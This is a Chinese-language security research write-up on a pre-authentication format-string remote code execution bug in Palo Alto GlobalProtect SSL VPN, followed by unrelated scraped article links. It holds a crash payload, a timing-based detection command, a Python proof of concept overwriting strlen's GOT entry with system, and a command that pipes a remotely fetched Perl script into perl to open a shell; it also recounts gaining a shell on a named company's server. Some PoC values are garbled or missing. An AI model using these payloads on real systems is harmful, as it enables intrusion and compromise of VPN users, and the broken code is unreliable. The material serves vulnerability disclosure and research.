0x00 前言

SSL VPN虽然可以保护企业资产免受互联网被攻击的风险影响,但如果SSL VPN本身容易受到攻击呢?它们暴露在互联网上,可以可靠并安全地连接到内网中。一旦SSL VPN服务器遭到入侵,攻击者就可以渗透到内网,甚至接管所有连接到ssl-vpn服务器的用户!由于其重要性,在过去几个月中,我们开始对安全领先的SSL VPN产品进行安全研究。

我们计划用3篇文章上发布我们的结果。我们把本文作为第一篇,因为我们认为这是一个有趣的故事,非常适合作为我们Black Hat USA and DEFCON 的彩头:

  • 像NSA一样渗透企业内网 - 在安全领先的SSL VPN上执行RCE

不要担心破坏者,这个故事不包含在我们的BHUSA / DEFCON会议中。

在我们即将到来的演示中,我们将提供更多的核心利用和疯狂的bug链,来入侵您的SSL VPN。从我们如何越狱设备以及我们关注的攻击向量来看。我们还将演示从唯一暴露的HTTPS端口获取root shell,隐蔽地将服务器武器化以对抗其所有者,并滥用隐藏功能来接管所有VPN客户端!所以请期待它;)

0x01 故事开头

在本文中,我们将讨论Palo Alto SSL VPN上的漏洞。Palo Alto称他们的SSL VPN产品为GlobalProtect。您可以通过302重定向到/global-protect/login.esp  Web根目录轻松识别GlobalPortect服务!

关于此漏洞,我们在红队评估服务期间意外发现了该漏洞。起初,我们以为这是0day。但是,我们在最新版本的GlobalProtect的远程服务器上复现失败.所以我们开始怀疑这是否是一个已知的漏洞。

我们在互联网上搜索,但找不到任何有关的信息。在[1]没有公开的RCE漏洞利用之前,没有官方的咨询包含任何类似的信息,也没有CVE。

在之前的Pan-OS管理界面有一些漏洞,如CVE-2017-15944和@u fel1X的优秀troppers16论文,但不幸的是,他们没有提及到globalprotect和管理界面只暴露了局域网端口。

0x02 The bug

这个bug非常简单。它只是一个简单的格式字符串漏洞,无需身份验证!sslmgr是处理服务器和客户端之间的ssl握手的ssl网关。该守护进程由nginx反向代理代理,可以通过路径/sslmgr进行访问。

$ curl https://global-protect/sslmgr
<?xml version="1.0" encoding="UTF-8" ?>
<clientcert-response>
<status>error</status>
<msg>Invalid parameters</msg>
</clientcert-response>

在参数提取期间,守护程序搜索字符串scep-profile-name并将其值作为snprintf格式传递,以填充缓冲区。这导致格式字符串被攻击。。您可以使用%n!使服务崩溃!

POST /sslmgr HTTP/1.1
Host: global-protect
Content-Length: scep-profile-name=%n%n%n%n%n...

0x03 影响版本

根据我们的调查,2018年7月之前的GlobalProtect都很脆弱!以下是影响版本列表:

  • Palo Alto GlobalProtect SSL VPN 7.1.x <7.1.19
  • Palo Alto GlobalProtect SSL VPN 8.0.x <8.0.12
  • Palo Alto GlobalProtect SSL VPN 8.1.x <8.1.3

9.x和7.0.x系列不受此漏洞的影响。

0x04 如何验证BUG

虽然我们知道bug的位置,但验证漏洞仍然不容易。此格式字符串没有输出,因此我们无法获取泄漏的任何地址来验证bug。而崩溃服务永远不是我们的首选[1]。为了避免服务崩溃,我们需要找到一种不影响系统正常运行而验证漏洞的方法!

通过阅读snprintf手册,我们选择%c作为我们的小工具!如果在格式化之前有一个数字,例如%9999999c,则snprintf会在内部重复请求相应的时间。我们观察大量重复次数的响应时间来验证这个漏洞!

$ time curl -s -d 'scep-profile-name=%9999999c' https://global-protect/sslmgr >/dev/null
real 0m1.721s
user 0m0.037s
sys 0m0.005s
$ time curl -s -d 'scep-profile-name=%99999999c' https://global-protect/sslmgr >/dev/null
real 0m2.051s
user 0m0.035s
sys 0m0.012s
$ time curl -s -d 'scep-profile-name=%999999999c' https://global-protect/sslmgr >/dev/null
real 0m5.324s
user 0m0.021s
sys 0m0.018s

如您所见,响应时间随着%c的数目而增加。因此,从时间差异来看,我们可以准确地识别易受攻击的ssl-vpn!

虽然有一个监视程序监视sslmgr守护进程,但仍然不适合崩溃服务!

0x05 利用

一旦我们可以验证bug,利用就很容易了。要成功利用二进制文件,我们需要首先确定详细版本。我们可以通过Last-Modified标头进行区分,例如8.x版本的/global protect/portal/css/login.css和7.x版本的/images/logo_pan_158.gif

$ curl -s -I https://sslvpn/global-protect/portal/css/login.css | grep Last-Modified
Last-Modified: Sun, Sep :: GMT

使用指定的版本,我们现在可以编写自己的漏洞。我们简单地将全局偏移表(GOT)上strlen的指针修改为系统的程序链接表(plt)。以下是其POC:

#!/usr/bin/python

import requests
from pwn import * url = "https://sslvpn/sslmgr"
cmd = "echo pwned > /var/appweb/sslvpndocs/hacked.txt" strlen_GOT = 0x667788 # change me
system_plt = 0x445566 # change me fmt = '%70$n'
fmt += '%' + str((system_plt>>)&0xff) + 'c'
fmt += '%32$hn'
fmt += '%' + str((system_plt&0xffff)-((system_plt>>)&0xff)) + 'c'
fmt += '%24$hn'
for i in range(,):
fmt += '%'+str(i)+'$p' data = "scep-profile-name="
data += p32(strlen_GOT)[:-]
data += "&appauthcookie="
data += p32(strlen_GOT+)[:-]
data += "&host-id="
data += p32(strlen_GOT+)[:-]
data += "&user-email="
data += fmt
data += "&appauthcookie="
data += cmd
r = requests.post(url, data=data)
 

修改完成后,sslmgr将成为我们的Webshell,我们可以通过以下方式执行命令:

$ curl -d 'scep-profile-name=curl orange.tw/bc.pl | perl -' https://global-protect/sslmgr

我们已向Palo Alto通过报告此bug。但是,我们得到了以下回复:

Hello Orange,

Thanks for the submission. Palo Alto Networks does follow coordinated vulnerability disclosure for security vulnerabilities that are reported to us by external researchers. We do not CVE items found internally and fixed. This issue was previously fixed, but if you find something in a current version, please let us know.

0x06 案例研究

在我们意识到这不是0day之后,我们调查了全世界的所有Palo Alto SSL VPN,看看是否有大公司在使用易受攻击的GlobalProtect,Uber就是其中之一!根据我们的调查,Uber在全球拥有大约22台运行GlobalProtect的服务器,这里我们以vpn.awscorp.uberinternal.com为例!

从域名来看,我们猜测Uber使用的是来自AWS Marketplace的byol 。从登录页面看,Uber似乎使用8.x版本,我们可以从概述页面上支持的版本列表中找到可能的目标版本:

  • 8.0.3
  • 8.0.6
  • 8.0.8
  • 8.0.9
  • 8.1.0

最后,我们找到了版本,它是8.0.6,我们得到了shell!

 
 
 

Palo Alto GlobalProtect上的PreAuth RCE的更多相关文章

  1. Cyber Security - Palo Alto Firewall Interface Types

    Multiple options to integrate the Palo Alto Firewall into your: Network Layer 2 interfaces and VLAN ...

  2. Cyber Security - Palo Alto Firewall Objects Addresses, Services, and Groups(3)

    LDAP Authentication and Remote Users and Groups Create Remote User Objects and LDAP Integration: sam ...

  3. Cyber Security - Palo Alto Firewall Objects Addresses, Services, and Groups(1)

    Address Objects and Groups Creating address objects. Organizing address objects with address groups ...

  4. Apache Flink 任意 Jar 包上传致 RCE 漏洞复现

    0x00 简介 Flink核心是一个流式的数据流执行引擎,其针对数据流的分布式计算提供了数据分布.数据通信以及容错机制等功能.基于流执行引擎,Flink提供了诸多更高抽象层的API以便用户编写分布式任 ...

  5. Cyber Security - Palo Alto Security Policies(2)

    Task 3 The SOC(Security Operation Center) monitoring team dashboard reported more 1,000 requests to ...

  6. Cyber Security - Palo Alto Security Policies(1)

    Security policies: Enforcing network traffic by configuring rules of what is allowed or denied to co ...

  7. Cyber Security - Palo Alto Firewall V-Wires

    Leveraging V-Wires Bridge two physical connections and apply security Policies without influencing a ...

  8. Cyber Security - Palo Alto Firewall Security Zones

    Firewall Security Zones Zones: The foundational aspect of every Firewall. Police network traffic Enf ...

  9. Cyber Security - Palo Alto Firewall Objects Addresses, Services, and Groups(2)

    Users Objects and Groups Creating local user objects. Creating local user groups. https://docs.paloa ...

随机推荐

  1. ESA2GJK1DH1K基础篇: 阿里云物联网平台: 测试云平台显示MQTT客户端发过来的消息

    现在这里空空如也 咱自定义的也没有数据 现在就是传上来温度数据,让这里显示温度数据 你发布的主题  /sys/a1m7er1nJbQ/Mqtt/thing/event/property/post 发布 ...

  2. dfs的两种处理方法

    方法一: 对于源点s,初始化vis[s]=1,并且在dfs之后vis[s]=1,为下一次调用做准备 .对于dfs递归中的寻找后继的循环体,入栈出栈语句写在循环内. 模板: //调用 vis[s]=; ...

  3. [NOI2010]超级钢琴 主席树

    [NOI2010]超级钢琴 链接 luogu 思路 和12省联考的异或粽子一样. 堆维护n个左端点,每次取出来再放回去次 代码 #include <bits/stdc++.h> #defi ...

  4. JavaScriptDOM编程学习笔记(一)DOM概述

    首先介绍下DOM,一套对文档的内容进行抽象和概念化的方法.即Document Object Model,当创建了一个网页并加载到Web浏览器中时,DOM就把编写的网页转换为一个文档对象,而通过浏览器提 ...

  5. Maven 教程(18)— 利用 Profile 构建不同环境的部署包

    原文地址:https://blog.csdn.net/liupeifeng3514/article/details/79776257 接上回继续,项目开发好以后,通常要在多个环境部署,象我们公司多达5 ...

  6. Python【每日一问】28

    问: [基础题]:求 1+2!+3!+...+20! 的和 [提高题]:两个乒乓球队进行比赛,各出三人.甲队为 a,b,c 三人,乙队为 x,y,z 三人.已抽签决定比赛名单. 有人向队员打听比赛的名 ...

  7. xshell 快速复制粘贴的方法

    xshell快速复制粘贴的方法<img src="http://newmiracle.cn/wp-content/uploads/2017/01/QQ截图20170113163139- ...

  8. CSS3移动端vw+rem不依赖JS实现响应式布局

    1.前言 (1)vw/vh介绍 在使用之前,我们先简单了解一下什么是vw和rem以及它们的作用,vw是css3出现的一个新单位,它是"view width"缩写,定义为把当前屏幕分 ...

  9. [转帖]Linux chattr 命令详解

    Linux chattr 命令详解 https://www.cnblogs.com/ftl1012/p/chattr.html 常见命令参数 1 2 3 4 5 6 7 8 9 10 11 12 A: ...

  10. 从零开始学C语言

    从零开始学C语言 @阆苑祁寒 更新时间:2019-09-13 写在前面:本文从一个初学者的角度,给出了对C语言的简单理解.如有谬误,敬请指出! Week1——基本语法 #include <std ...